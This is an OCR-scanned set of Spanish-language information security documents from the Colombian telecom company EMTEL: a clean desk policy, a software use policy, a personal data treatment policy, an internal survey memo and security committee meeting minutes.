
5. DOCUMENTOS DE REFERENCIA
e Norma ISO 27001, control 11.2.9 — Politica de escritorio y pantalla limpia
e Politica de seguridad de la informacién de la empresa de Telecomunicaciones de Popayédn
S.AEMTELE.S.P
e Politica gestion de activos de la empresa Telecomunicaciones de Popayan S.A EMTEL E.S.P
e Guia 2 — Politica general del MSPI propuesto por el MinTIC

6. MARCO LEGAL
e Decreto 1078 de 2015
e Ley 1581 de 2012.
e Ley 1273 de 2009
e Ley 1712 de 2014.
e Ley 1266 de 2008.

7. POLITICA
a) Los empleados, contratistas y practicantes que tienen algln vinculo con la empresa de

Telecomunicaciones S.A EMTEL E.S.P deben conservar su escritorio libre de informacién de
la empresa que pueda ser alcanzada, copiada o utilizada por terceros o por personal que
no tenga autorizacidn para su uso o conocimiento, razén por la cual se debe guardar toda
la documentacidn fisica y/o medio magnético en cajones, archivadores o sitios seguros,
durante su ausencia del puesto de trabajo

b) Asi mismo los puestos de trabajo deben permanecer limpios y ordenados, no se deben
ingerir alimentos o bebidas cerca de equipos de cémputo, documentacidn fisica y medios
magnéticos.

c) Al imprimir documentos con informacién publica reservada y/o publica clasificada
(semiprivada o privada), deben ser retirados de la impresora inmediatamente y no se
deben dejar en el escritorio sin custodia.

d) Los gabinetes, cajones o archivadores que contengan documentos y/o medios extraibles
con informacién publica, publica clasificada o publica reservada deben quedar cerrados
durante la hora de almuerzo y al finalizar la jornada laboral.

e) La pantalla de los equipos de cémputo (Escritorio) no deben contener ningtn tipo de
archivo, a excepcidén de los accesos directos a las aplicaciones necesarias para que los
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empleados o contratistas ejerzan sus funciones o cumplan con sus obligaciones
contractuales.

f) Todo documento electrénico que sea utilizado por empleados o contratistas en el ejercicio
de sus funciones debe guardarse en la carpeta de almacenamiento en red dispuesta por la
empresa.

g) Todos los empleados deben bloquear la seccién de su equipo de cémputo, en el momento
en el que no se encuentren en su puesto de trabajo.

h) Los empleados deben cerrar las aplicaciones y servicios de red cuando ya no los necesite,
es decir deben cerrar correctamente la sesién de usuario y apagar el equipo de cémputo,
cuando finalice la jornada laboral.

8. ROLES Y RESPONSABILIDADES

Monitorear el cumplimiento de las politicas de seguridad de la informacién

OFICINA DE Apoyar en la definicién de las directrices respecto a cdmo tratar la informacién
TECNOLOGIAS DE LA que se maneja en las estaciones de trabajo
INFORMACION

Configurar el bloqueo de pantalla de los equipos de cémputo de la empresa.

Cumplir con las politicas de seguridad de la informacién de la empresa

Respetar las restricciones que se establecen esta politica y hacer buen uso de
los derechos, permisos y privilegios que le hayan sido otorgados, pues cada
USUARIOS usuario es responsable por sus acciones mientras usa cualquier recurso de
Informacion de la empresa.

Reportar cualquier evento que atente contra la seguridad de la informacién en
la empresa

9. ANEXOS

N.A
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INTRODUCCION

La empresa de telecomunicaciones de Popayin S.A EMTEL E.S.P en cumplimiento con la
reglamentacidn legal vigente respecto al uso de software, estable la politica uso de software,
con el objetivo de definir el proceso de adquisicién, uso y mantenimiento de software en la
empresa.

OBJETIVO
Establecer las directrices para el usoy adeninistracion del software adquirido por la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P.

ALCANCE
Esta politica aplica para los empleados, contratistas y practicantes de la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P.

REFERENCIAS Y DEFINICIONES
e Activo: En relacion con la seguridad de la informacion, se refiere a cualquier informacion o
elemento relacionado con el tratamiento de la misma (sistemas, soportes, edificios,
personas...) que tenga valor para la organizacion. (ISO/IEC 27000).

Informacién: Datos relacionados que tienen significado para la entidad. La informacién es
un activo que, como otros activos importantes del negocio, es esencial para las actividades

de la entidad y, en consecuencia, necesita una proteccién adecuada. La definicion dada por
la ley 1712 del 2014, se refiere a un conjunto organizado de datos contenido en cualquier
documento que los sujetos obligados generen, obtengan, adquieran, transformen o
controlen.

o Software: comprende el conjunto de los componentes Idgicos de un sistema informdtico que
hacen posible la realizacién de tareas especificas interactuando con componentes fisicos
llamados hardware.

* licencia de Software: es un contrato entre el licenciante {autor/titular de los derechos de
explotacion/distribuidor) y el licenciatario del programa informdtico (usuario consumidor
/usuario profesional o empresa), para utilizar el software cumpliendo una serie de términos
y condiciones establecidas dentro de sus cldusulas.

e Usuario: Cualquier persona, entidad, cargo, proceso, sistema automatizado o grupo de
trabagjo, que genere, obtenga, transforme, conserve o utilice informacién en papel o en
medio digital, fisicamente o a través de las redes de datos y los sistemas de informacién de
la Unidad, para propésitos propios de su labor y que tendrdn el derecho manifiesto de uso
dentro del inventario de informacion.

e Confidencialidad: Propiedad que determina que la informacién sélo esté disponible y sea
revelada a individuos, entidades o procesos autorizados.
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e Integridad: Propiedad de salvaguardar la exactitud y estado completo de los activos

e Disponibilidad: Propiedad de que la informacion sea accesible y utilizable por solicitud de
una entidad autorizada, cuando ésta asi lo requiera.

5. DOCUMENTOS DE REFERENCIA

® Norma ISO 27001, control 12.6.2 Restricciones sobre la instalacién de software

e Norma ISO/IEC 27002:2013

e Politica de seguridad de la informacién de la empresa de Telecomunicaciones de Popaydn
S.AEMTELE.S.P

6. MARCO LEGAL
® Ley44de 1993, que sefiala las sanciones relacionadas con los derechos de autor de soporte
légico o software.

e ¢ ley 1581 de 2012 “Estableec los principios relacionades .con el ratamiente de datos
personales en Colombia, definiciones, los sujetos relacionados con la ley, los deberes y
obligaciones de los distintos sujetos v las sanciones en caso de violacién de derechos.”

® Ley 603 de 2000 en la cual se indica que todas las empresas deben reportar en sus informes
anuales de gestién el cumplimiento de las normas de propiedad intelectual y de derechos
de autor.

7. POLITICA
a) La Oficina de Tecnologias de la Informacién debers identificar claramente las necesidades
de la empresa para viabilizar, presupuestar y solicitag la adquisicién de productos software
licenciados.
b) TI deberd mantener un inventario actualizado de licencias, el cual deberd contener la
siguiente informacidn:
e Nombre vy versién del producto software
e Fecha de adquisicion
e vigencia de la licencia
e Tipode licencia
e Nimero de usuarios permitidos por licencia
e QWNuUmero de ficencias adquiridas por cada software
e Facturas o comprobantes de compra
e Ubicacidn fisica del producto
¢) Asi mismo Tl es el responsable de administrar y mantener un registro actualizado de los
productos software instalados y desinstalados en los equipos de la empresa.
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d) Todo software adquirido por la empresa, serd instalado linicamente en equipos de cémputo
que formen parte de la infraestructura tecnolégica de esta, cumpliendo con las condiciones
técnicas de la licencia obtenida.

e) Periodicamente, la oficina de Tecnologias de la Informacion etectuara la revision de los
programas utilizados en cada oficina y/o divisiéon. La descarga, instalacién o uso de
aplicaciones o programas informaticos NO autorizados serd considera como una violacién a
las Politicas de Seguridad de la Informacién de la empresa.

f) Ningln empleado podra efectuar las siguientes acciones sin previa autorizacién de la oficina
de Tecnologias de la Informacién:

e Instalar software en cualquier equipo de la empresa

e Descargar software de Internet en cualquier equipo de la empresa

e Modificar, revisar, transformar o adaptar cualquier software de la empresa
® ,f‘ambfar la configuracidn de hardware de propiedad.de la empresa

g) Cuando un empleado o contratista incurra por primera vez en un incumplimiento de Ia
presente politica, se procederad a hacer un comunicado al respecto por parte de la oficina
de Tl. En el caso de reincidencia, se procedera a enviar un comunicado a la Oficina Asesora
de Jurica, donde se notificara el incumplimiento por segunda ocasién de la politica sobre el
uso del softwareeen los equipos de computo de ia émpresa, juridica tornard las medidas
disciplinarias y/o administrativas correspondientes.

Seglin normas vigentes en el campo de derechos de autor, las personas involucradas en la
reproduccidn ilegal de software pueden estar sujetas a sanciones civiles y/o penales,
incluidas multas y prision estipuladas por la Ley.

Nota: la instalacion no controlada de software en equipos de cdmputo de la empresa puede
conducir a que se introduzcan vulnerabilidades y posteriormente fuga de informacién,
perdida de integridad u otros incidentes de seguridad de la informacidn, o a la violacién de
derechos de propiedad intelectual.
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8. ROLES Y RESPONSABILIDADES

Monitorear el cumplimiento de las politicas de seguridad de la informacién
Manten registro de inventario software actualizado
OFICINA DE a er el regist a actua
TECNOLOGIAS
DE LA Velar para que solo se instale software licenciado en los equipos de la empresa
INFORMACION
Cumplir con los deberes impuestos por las normas de proteccién de datos en
cuanto la confidencialidad, integridad y autenticidad de la informacidn
Cumplir con los lineamientos dispuesto en la presente politica, normatividad y
leyes de uso de software
Abstenerse de copiar, modificar y reproducir el software utilizado en la
USUARIO
empresa
Reportar cualquier evento que atente contra la seguridad de la informacidn
en la empresa
9. ANEXOS
N/A
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1. OBIJETIVOY ALCANCE

Establecer los criterios sobre el uso, tratamiento, procesamiento, intercambio, transferencia y
transmisién de datos personales, Esta politica aplica para todos los titulares de informacién
personal que sea utilizada o se encuentre en las bases de datos de La Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P en lo sucesivo "EMTEL ", quien actta en
calidad de responsable del tratamiento de los datos personales.

2. POLITICAS

2.1 POLITICA DE TRATAMIENTO DE LA EMPRESA DE TELECOMUNICACIONES DE POPAYAN S.A.
EMTEL. E.S.P.
De conformidad con lo dispuesto en la Ley 1581 de 2012, el Decreto 1074 de 2015, el Decreto
1078 de 2015 y las Circulares Externas No. 02 del 3 de Noviembre de 2015 y 001 del 8 de
Noviembre de 2016, se actualiza la Politica de Tratamiento de Datos Personales.

2.2 RESPONSABLE DE LOS DATOS PERSONALES
La persona juridica responsable de los datos personales y por tanto de las bases de datos en
la cual se encuentren ubicados los mismos es la Empresa de Telecomunicaciones de Popayédn
S.A. EMTEL E.S.P., identificada con Nit N° 891.502.163-1, ubicada en la calle 5 No. 5-68 del
municipio de Popayan-Cauca.

2.3 INFORMACION RECOPILADA
Datos personales publicos, semiprivados, privados y sensibles de usuarios y clientes
potenciales, trabajadores y ex trabajadores, pensionados, contratistas, proveedores,
miembros de junta directiva y visitantes tales como son: nombre, apellidos, identificacion,
teléfono fijo y/o movil, direccidn fisica y electrénica, imagenes e incluso aquella considerada
como de carécter sensible, vale decir, huella dactilar (fisica o digital).

Tratandose de trabajadores, se recauda informacion relativa a datos biométricos, fotografias,
imagenes; informacion de indole socioecondmica, patrimonial, tributaria, relativa a temas
sindicales, composicion familiar, referencias comerciales; Ia relacionada con su salud y demds
que se le requiera para el buen desarrollo del vinculo contractual y demds datos necesarios
que le sean solicitados al momento de su vinculacion.

@Q ¢, Empresade Telecomunicaciones de Popayan EMTEL S.A. E.S.P.
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Se recolecta la huella digital de sus usuarios con la autorizacién expresa del titular,
exclusivamente, para efectos de evitar suplantaciones de identidad y, en general, como
herramienta de prevencion y control de fraudes.

Las imédgenes de las personas captadas por las cdmaras de seguridad ubicadas en zonas de
videovigilancia son almacenadas y utilizadas como mecanismo de proteccién y seguridad de
los objetos, la informacidn y las personas que frecuentan las instalaciones de la empresa.

2.4 TRATAMIENTO Y FINALIDAD

Los datos recabados por EMTEL S.A. E.S.P. serdn tratados con el grado de proteccién
adecuado, exigido por la Ley y en este sentido el responsable del tratamiento se compromete
a tratar los datos con la finalidad exclusiva para la que fueron recolectados.

EMTEL S.A. E.SP., recopila datos de sus usuarios y clientes potenciales con los siguientes
fines.

e |dentificarlo como usuario de nuestros servicios y adelantar las gestiones necesarias para
su mejor prestacion.

e Ofrecerle informacién relacionada con nuestros productos, servicios, ofertas,
promociones, alianzas, concursos, contenidos, asi como los de nuestras compafiias
vinculadas o asociadas.

e Envio de informacidn correspondiente al estado de su cuenta y obligaciones.

e Contactarlo por cualquier medio que haya registrado para el agendamiento de visitas
propias de la prestacion del servicio.

e Contactarlo por cualquier medio que haya registrado con fines publicitarios, esto es, para
informar sobre nuevos productos, servicios u ofertas relacionadas con el o los servicios
contratado(s) o adquirido(s).

e Informar sobre cambios de nuestros productos, servicios y tarifas.

e Evaluar la calidad del servicio.

e Realizar estudios internos sobre habitos de consumo.

e Como herramienta de proteccion y seguridad de los objetos, la informacién y las personas
que frecuentan las instalaciones de la empresa.

@ = (. Empresa de Telecomunicac:ones de Popayan EMTEL 5.A. E.S.P.
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e Intercambiar informacién con otros proveedores para prevencién y control del fraude.
e Publicar sus datos en el directorio telefdnico.

e Remitirle publicidad, ofertas comerciales y promocionales por parte de EMTEL S.A. E.S.P.
y sus aliados.

e Consultar, reportar, procesar, solicitar y divulgar a la Centrales de Informacién Financiera
que administra la Asociacion Bancaria y de Entidades Financieras de Colombia, 0 a
cualquier otra entidad que maneje o administre bases de datos con los mismos fines, toda
la informacién referente a su comportamiento comercial.

EMTEL S.A. E.S.P. recopila datos de sus colaboradores, ex colaboradores y pensionados
con los siguientes fines:

e |dentificarlo como trabajador, ex trabajador
Determinar la idoneidad de sus trabajadores para el desempefio de las funciones
asignadas.
Hacer seguimiento a su desempefio laboral y/o académico.
Calificar y evaluar su rendimiento
Ejecutar y cumplir los contratos.
Garantizar su proteccion, seguridad y cuidado personal.
Vigilar y evaluar su comportamiento.
Consultar, procesar, solicitar y reportar a cualquier entidad que maneje o administre bases
de datos toda la informacién referente a su condicién laboral y/o tributaria.
e Mantener el normal desarrollo de la relacién contractual.
e Compartir espacios que propendan por el mejoramiento del clima laboral
e Realizar actividades de promocién, prevencion y bienestar para sus colaboradores y su
grupo familiar.
Cumplir disposiciones legales, reglamentarias y/o regulatorias.
Identificarlo como pensionado de la empresa.
Garantizar el uso y goce de los derechos convencionales.

EMTEL S.A. E.S.P. recopila datos de sus contratistas y proveedores con los siguientes fines:

Identificarlos como contratista y/o proveedor de la empresa.

Pedir cotizaciones de servicios y productos.

Invitarlo a participar en procesos contractuales.

Verificar el envio y recibo de documentos.

Consultar, recibir, remitir y/o actualizar informacion.

Pedir aclaraciones a las propuestas.

Vigilar, supervisar y hacer seguimiento a la correcta y debida ejecucion de las obligaciones
contractuales.

@ [, Empresa de Telecomunicaciones de Popayan EMTEL S.A. ES.P
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e Exigir el cumplimiento de los contratos.

e Cumplir disposiciones legales o reglamentarias.

e Efectuar consultas y/o reportes de informacion comercial, tributaria y societaria
e Validar, legalizar y constituir pdlizas de seguros, etc.

EMTEL S.A. E.S.P. recopila datos de sus visitantes con los siguientes fines:

e Garantizar la vigilancia, proteccion y seguridad de las personas (trabajadores, contratistas
y/o visitantes).

e Garantizar la vigilancia, proteccion y seguridad de los objetos (bienes tangibles e
intangibles de la empresa).

e Garantizar la vigilancia, proteccion y seguridad de la informacién (fisica y/o digital).

EMTEL S.A. E.S.P. recopila datos de los miembros de junta directiva con los siguientes fines:

Realizar las convocatorias a sesiones de junta directiva.

Remitir informacion relevante para las sesiones de junta directiva.

Remitir informacion relacionada con la Empresa y los servicios prestados

Inscribir en la Cdmara de Comercio, SIUST y demds registros que requieran informaciéon de
los miembros de junta directiva.

Elaborar y suscribir las actas de junta.

Cumplir con las disposiciones legales, regulatorias y reglamentarias

2.5 PRINCIPIOS PARA EL TRATAMIENTO

e Principio de legalidad: El tratamiento que se da a los datos personales esta ajustado a los
parametros establecidos por Ley.

e Principio de finalidad: Los datos personales objeto de tratamiento por parte de EMTEL S.A.
E.S.P. seran utilizados inicamente con los fines anteriormente descritos.

e Principio de transparencia: El Responsable del Tratamiento garantiza los Derechos del
titular en cualquier momento vy sin restricciones de esta manera es de gran importancia
informar claramente los datos que son recolectados y el tratamiento de los mismos.

e Principio de seguridad: La informacidn sujeta a tratamiento por parte de EMTEL S.A. E.S.P.
cuenta con las medidas exigidas por la Ley segun la calidad del dato y a fin de evitar su
adulteracion, pérdida, consulta, uso o acceso no autorizado o fraudulento.
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e Principio de confidencialidad: Todas las personas que intervienen en el Tratamiento de
datos personales se encuentran obligadas a garantizar la reserva de la informacién,
inclusive después de finalizada su relacién con alguna de las labores que comprende el
Tratamiento, pudiendo sdlo realizar suministro o comunicacién de datos personales
cuando ello corresponda al desarrollo de las actividades autorizadas por la Ley o por el
titular de los datos.

e Principio de veracidad o calidad: La informacién sujeta a tratamiento deberd ser veraz,
completa, exacta, actualizada, comprobable, y comprensible. Se prohibe el tratamiento de
datos parciales, incompletos, fraccionados o induzcan a error.

e Principio de acceso y circulacidn restringida: El tratamiento se sujeta a los limites que se
derivan de la naturaleza de los datos personales, de las disposiciones de la ley y la
constitucion poli’éica. En este sentido, el tratamiento solo podra hacerse por personas
autorizadas. Los datos personales, salvo la informacidon publica, no podran estar
disponibles en internet u otros medios de divulgacién o comunicacién masiva, salvo que
el acceso sea técnicamente controlable para brindar un conocimiento restringido solo a
los titulares o terceros autorizados conforme a la ley.

2.6 MEDIDAS DE SEGURIDAD

Las medidas de seguridad adoptadas por EMTEL S.A. E.S.P. sobre sus bases de datos se ajustan
a las previstas en la ley, con el fin de evitar accesos no autorizados, utilizacién, modificacién,
supresion, pérdida y/o utilizacion indebida de los datos personales. Todas las bases de datos,
propiedad de EMTELS.A. E.S.P. cuentan con las medidas de seguridad bdsicas; dichas medidas
se incrementan segln la calidad del dato, acorde a lo previsto en las politicas de seguridad y
privacidad de la informacion.

Los datos personales captados en zonas de videovigilancia son almacenados y utilizados como
mecanismo de vigilancia, proteccidn y seguridad de los objetos, la informacién y las personas
que frecuentan las instalaciones de EMTEL S.A. E.S.P. Dicha informacién sera protegida a
través de medios tecnoldgicos que restringen su acceso a personal no autorizado a través del
uso de usuarios y contrasefias; ademas, se almacenard en la base de datos de videovigilancia
por un término maximo de 60 dias; con posterioridad sera automdticamente suprimida del
disco duro y el servidor.

@ Q g. Empresa de Telecomunicaciones de Popayan EMTEL S.A. E.S.P.
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2.7 DERECHOS DELTITULAR DE LOS DATOS

Usted como titular de los datos recolectados por EMTEL S.A. E.S.P., conforme a lo establecido
enlaley 1581 de 2012y el Decreto 1074 de 2015, puede hacer uso de los siguientes derechos:

e Derecho de Acceso: Es el derecho que tiene toda persona para conocer si sus datos
personales estén siendo objeto de tratamiento, se encuentran incluidos en la base de
datos, que finalidad y origen tienen estos, asi como las cesiones realizadas o previstas a
terceros. Para ejercer su derecho podra presentar una solicitud ante el Responsable del
Tratamiento o por medio de los canales de contacto ya especificados.

Es importante resaltar que el titular podrd consultar de forma gratuita sus datos
personales al menos una vez cada mes calendario y cada vez que existan modificaciones
sustanciales de las Politicas de Tratamiento de la informacién. Cuando la consulta se
realice mas de una vez cada mes EMTELS.A. E.S.P., como propietario de la base de datos,
podra cobrar los gastos de envio, reproduccion y si se requiere certificacion de
documentos.

e Derecho de Actualizacidn y Rectificacidn: Es el derecho que tiene usted como titular de los
datos para que se actualicen y corrijan los datos personales que se encuentran en las
bases de datos propiedad de EMTEL S.A. E.S.P., cuando estos hayan cambiado, cuando
exista un error, sean inexactos o incompletos. Para ello, igualmente, se debe presentar
una solicitud de informacidon que debe contener, adicionalmente a lo seialado en el punto
anterior sobre el acceso a datos personales, las modificaciones a realizarse y aportar la
documentacidn que sustente su peticion.

e Derecho de Supresion: Es el derecho que usted como usuario tiene para que se
supriman sus datos personales en las bases de datos propiedad de EMTEL S.A. E.S.P., en
los siguiente casos: (i) cuando el tratamiento de los mismos no se ajuste a lo dispuesto por
la Ley de Proteccion de Datos (Ley 1581 de 2012) siempre y cuando la Superintendencia
de Industria y Comercio haya determinado que en el Tratamiento el Responsable o
Encargado han incurrido en conductas contrarias al ordenamiento vy (ii) en virtud de la
solicitud libre y voluntaria del Titular del dato, siempre y cuando no exista una obligacion
legal o contractual que imponga al Titular el deber de permanecer en la referida base de
datos.

La supresidn da lugar al bloqueo de sus datos, esto quiere decir que los datos se conservan
Unicamente a disposicion de autoridades competentes, con fines de seguridad y para
atender las posibles responsabilidades nacidas del tratamiento.

e Presentacion de quejas: Como titular de los datos tiene derecho de presentar ante la
Superintendencia de Industria y Comercio quejas por infracciones asociadas al uso de sus
datos personales, siempre y cuando haya agotado el tramite de consulta o reclamo ante
EMTELS.A. ES.P..
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2.8 DEBERES DEL RESPONSABLE Y ENCARGADOS DEL TRATAMIENTO

El responsable y los encargados del tratamiento deben cumplir con las siguientes
disposiciones previstas en la Ley 1581 de 2012 y el Decreto 1074 de 2015.

Responsable del Tratamiento

a) Garantizar al Titular, en todo tiempo, el pleno y efectivo ejercicio del derecho de hdbeas
data;

b) Solicitar y conservar, en las condiciones previstas en la presente ley, copia de la respectiva
autorizacion otorgada por el Titular;

c) Informar debidamente al Titular sobre la finalidad de la recoleccidn y los derechos que le
asisten por virtud de la autorizacién otorgada;

d) Conservar la informacién bajo las condiciones de seguridad necesarias para impedir su
adulteracidn, pérdida, consulta, uso o acceso no autorizado o fraudulento;

e) Garantizar que la informacién que se suministre al Encargado del Tratamiento sea veraz,
completa, exacta, actualizada, comprobable y comprensible;

f) Actualizar la informacidn, comunicando de forma oportuna al Encargado del Tratamiento,
todas las novedades respecto de los datos que previamente le haya suministrado y adoptar
las demds medidas necesarias para que la informaciéon suministrada a este se mantenga
actualizada;

g) Rectificar la informacién cuando sea incorrecta y comunicar lo pertinente al Encargado del
Tratamiento;

h) Suministrar al Encargado del Tratamiento, segln el caso, Unicamente datos cuyo
Tratamiento esté previamente autorizado de conformidad con lo previsto en la presente ley;

i) Exigir al Encargado del Tratamiento en todo momento, el respeto a las condiciones de
seguridad y privacidad de la informacion del Titular;

j) Tramitar las consultas y reclamos formulados en los términos sefialados en la presente ley;

k) Adoptar un manual interno de politicas y procedimientos para garantizar el adecuado
cumplimiento de la presente ley y en especial, para la atencién de consultas y reclamos;

1) Informar al Encargado del Tratamiento cuando determinada informacién se encuentra en
discusién por parte del titular, una vez se haya presentado la reclamacién y no haya finalizado
el trdmite respectivo;

m) Informar a solicitud del Titular sobre el uso dado a sus datos;
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n) Informar a la Superintendencia de Industria y Comercio cuando se presenten violaciones a
los cédigos de seguridad y existan riesgos en la administracion de la informacién de los
Titulares.

o) Cumplir las instrucciones y requerimientos que imparta la Superintendencia de Industria y
Comercio.

Encargados del tratamiento

a) Garantizar al Titular, en todo tiempo, el pleno y efectivo ejercicio del derecho de habeas
data;

b) Conservar la informacién bajo las condiciones de seguridad necesarias para impedir su
adulteracidn, pérdida, consulta, uso o acceso no autorizado o fraudulento;

c) Realizar oportunamente la actualizacidn, rectificacion o supresidén de los datos en los
términos de la presente ley;

d) Actualizar la informacién reportada por los Responsables del Tratamiento dentro de los
cinco (5) dias habiles contados a partir de su recibo;

e) Tramitar las consultas y los reclamos formulados por los Titulares en los términos sefialados
en la presente ley;

f) Adoptar un manual interno de politicas y procedimientos para garantizar el adecuado
cumplimiento de la ley y, en especial, para la atencién de consultas y reclamos por parte de
los Titulares;

g) Registrar en la base de datos Ias leyenda "reclamo en tramite" en la forma en que se regula
en la presente ley;

h) Insertar en la base de datos la leyenda "informacién en discusién judicial” una vez
notificado por parte de la autoridad competente sobre procesos judiciales relacionados con
la calidad del dato personal;

i) Abstenerse de circular informacién que esté siendo controvertida por el Titular y cuyo
blogueo haya sido ordenado por la Superintendencia de Industria y Comercio;

j) Permitir el acceso a la informacién Gnicamente a las personas que pueden tener acceso a
ella;

k) Informar a la Superintendencia de Industria y Comercio cuando se presenten violaciones a
los cédigos de seguridad y existan riesgos en la administracién de la informacién de los
Titulares;

I) Cumplir las instrucciones y requerimientos que imparta la Superintendencia de Industria y
Comercio.

@ [;] \ Empresa de Telecomunicacmnes de Popayan EMTEL S.A. E.S.P.
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Paragrafo. En el evento en que concurran las calidades de Responsable del Tratamiento
y Encargado del Tratamiento en la misma persona, le sera exigible el cumplimiento de los
deberes previstos para cada uno.

2.9 OFICIAL DE PROTECCION DE DATOS

La Empresa de Telecomunicaciones de Popayan S.A. EMTEL E.S.P., ha designado una persona
encargada y/o responsable de ejercer el rol de oficial de proteccién de datos, quien debe
realizar sus funciones y ejecutar todas las actividades con apego a la legislacién que regula la
materia y en los términos que establece la guia para la implementacion del principio de
responsabilidad demostrada (Accountability), publicada por la Superintendencia de Industria
y Comercio.

2.10 FUNCIONES DEL OFICIAL DE PROTECCION DE DATOS

La funcién principal del oficial de proteccién de datos sera velar por la implementacion
efectiva de las politicas y procedimiento adoptados por la Empresa para cumplir las normas,
asi como la implementacién de buenas précticas de gestion de datos personales dentro de la
Empresa.

Adicionalmente ejercera las siguientes funciones:

e Velar en coordinacién con la oficina de PQR por el tramite efectivo y oportuno a las
solicitudes elevadas por los Titulares de los datos.

e Estructurar, disefiar y administrar el Programa que permitird cumplir con las normas que
regulan el tema de proteccion de datos personales.

e Establecer las responsabilidades especificas de las dreas de la empresa frente a la
recoleccién, almacenamiento, uso, actualizacidn, circulacidn y eliminacién de los datos.

eEstablecer los controles al Programa y su evaluacidn y revision permanente.

2.11 ATENCION DE PETICIONES, CONSULTAS Y RECLAMOS, Y PROCEDIMIENTO

Sefior cliente, usuario y/o suscriptor, si usted desea hacer uso de los derechos que le asisten
puede hacerlo por los siguientes medios: (i) Comunicacién remitida al area de PQR de EMTEL
S.A. E.S.P. en la Sede Administrativa ubicada en la Calle 5 No. 5-68 de la ciudad de Popaydan o
de manera presencial en nuestro punto de atencidn. (i) A través del portal web
www.emtel.net.co/centro-de-experiencia/cun/ iii) en la red social Facebook (iv) Con nuestra
linea de atencién gratuita 8222255. El procedimiento para la atencién de la respectiva PQR

@ B Empresa de Telecomunicacwnes de Popaydn EMTEL 5.A. E.S.P.
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serd el previsto en la Resolucién CRC 3066 de 2011, por la cual se establece el régimen integral
de proteccién de los usuarios de los servicios de comunicaciones, anexo I, formato para
presentacién de PQRs a través de oficinas virtuales.

Sefior trabajador, ex trabajador, contratista y/o proveedor, cliente potencial, visitante o
personal externo, miembros de junta directiva, si usted desea hacer uso de los derechos que
le asisten como titular de la informacidn puede elevar su peticion, queja o reclamo mediante
comunicacién remitida al drea de PQR de EMTEL S.A. E.S.P. en la Sede Administrativa ubicada
en la Calle 5 No. 5-68 de la ciudad de Popayan.

2.12 APLICACION
Nuestras politicas se aplican a todas las bases de datos propiedad de EMTEL S.A. E.S.P.

2.13 VIGENCIA
Las Politicas de Tratamiento aqui establecidas entran en vigencia el dia su publicacién en
pagina web.

Las Bases de datos estaran vigentes durante el tiempo en que EMTEL S.A. E.S.P., desarrolle su
objeto social.

Para mayor informacién relacionada con las disposiciones legales de proteccién de datos, y
aquellas relacionadas con los procedimientos de reclamo respecto de las mismas, le
sugerimos visitar la pédgina web de la Superintendencia de Industria y Comercio
(www.sic.gov.co).

EMTEL S.A. E.S.P. se reserva el derecho a modificar las Politicas de Tratamiento en cualquier
momento. Toda modificacion serd comunicada oportunamente a los titulares de los datos
personales a través de la pagina web.

3. ANEXOS
e N/A
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APROBACION PARA REALIZAR ENCUESTA EN SEGURIDAD DE LA INFORMACION

CODIGO:FR.17.CA

EMTEL 2o s ;.COMU'\“CADO VERSION: 02

W Proceso: GESTION DE CALIDAD VIGENC!A: 16/04/2020
3 Paginaide1

COMUNICADO No. 013

PARA: TODO EL PERSONAL
DE: Oficina Tecnologias de la Informacién
ASUNTO: Diligenciamiento encuesta seguridad de la informacién oficina de Ti

FECHA: 15 -10-2020

Cordial Saludo,

Mediante el presente se solicita de manera comedida diligenciar de manera obligatoria la encuesta
de seguridad de la informacién con el fin de establecer planes de accién para el mejoramiento de

este aspecto en la empresa.

La encuesta estara disponible en la pégina principal de la intranet hasta el viernes 23 de octubre de
2020.

ORTEGA RIOS
Djfectora Administrativa
oyecto: Ana Maria Guevara — Contratista
evisé: Enrique Orobio — Profesional Ti
‘Aprobd: Yenny Ortega — Directora Administrativa

Archivado en carpeta: Comunicados
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ACTA DE REUNION DE REUNION COMITE DE SEGURIDAD DE LA INFORMACION
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Proceso:

CODIGO: FR.05.CA

VERSION: 01

GESTION DE CALIDAD

VIGENCIA: 01/02/2017

Pagina1de3

FECHA: 22/01/2021

LUGAR: REUNION SALA DE JUNTAS

CIUDAD: POPAYAN HORA DE INICIO: 8:00 AM HORA FINAL: 9:00 AM

TEMA DE REUNION: implementacién del sistema de gestion de seguridad de la informacion en la

empresa de telecomunicaciones de Popaydn S.A EMTEL E.S.P

OBJETIVO: Dar a conocer los requisitos para la implementacién del sistema de gestion de seguridad de

la informacién en la empresa, que le permita proteger su informacién (datos, procesos y personas) de

una amplia gama de amenazas, con el fin de garantizar la continuidad de los sistemas de informacion,

minimizar los riesgos de dafio y asegurar el eficiente cumplimiento de sus objetivos

CONVOCADOS / ASISTENTES :
ASISTIO
N°. NOMBRES Y APELLIDOS CARGO

ol b sl NO
1 Jorge Hernan Gémez Timana Gerente X
2 |Yenny Carolina Ortega Rios Direccion administrativa X
3 |Maria Claudia Valdivieso Beltran Jefe de oficina de asesora juridica X
4 |Esther Elena Salazar Dominguez Asesora de atencion X
5 pannethe Liliana Méndez Velasco Direccion integracion tecnoldgica X
6 JAna Lucia Bolafios Daza Asesora mercadeo y ventas X
7 |Rubén Dario Camayo Medina Direccion operativa X
8 |Felipe Andrés Benavidez Galvis Direccién de recurso financiero X
9 [Cristian Alonso Cajiao Bermudez Profesional especializado X

contabilidad y presupuesto

10 |Ana Maria Guevara Mera Practicante Tl X
X

N°.

ORDEN DEL DIA

SEGUIMIENTO

Sl NO

1 Saludo de bienvenida por parte del gerente

lempresa

2 Importancia de implementar un sistema de gestion de seguridad de la informacion en la

informacion

3 Normatividad vigente que aplica a la empresa en relacién al tema de seguridad de la

4 Objetivos del sistema de gestion de seguridad de la informacion

5

Alcance del sistema de seguridad de la informacion

informacion

6 Resultados esperados con la implementacién del sistema de gestién de seguridad de la

Politicas de seguridad de la Informacion

Paginalde3




DESARROLLO

1. Se da inicio con el saludo de bienvenida del gerente y posteriormente se da a conocer la agenda del dia

2. Se contextualiza antes los jefes de Oficina y/o seccidn la importancia y necesidad de implementar un sistema
de gestién de seguridad de la informacion en la empresa y de igual manera se dan a conocer la normatividad
vigente (Resolucién de la Comisién de Regulacién de Comunicaciones 5569 del 2018) que aplica a laempresa
en relacion al tema.

3. Se dan a conocer los objetivos, el alcance y los resultados esperados con la implementacién del sistema de
seguridad de la informacion en la empresa.

4. Finalmente, de acuerdo a la Resolucién No 24 del 15 de mayo de 2020 se dan a conocer las politicas de
seguridad de la informacion establecidas por la empresa con base a la declaracion de aplicabilidad (SOA).

COMPROMISOS

commows’o O TAREA ' RESPONSABLE FECHA LIMITE DE
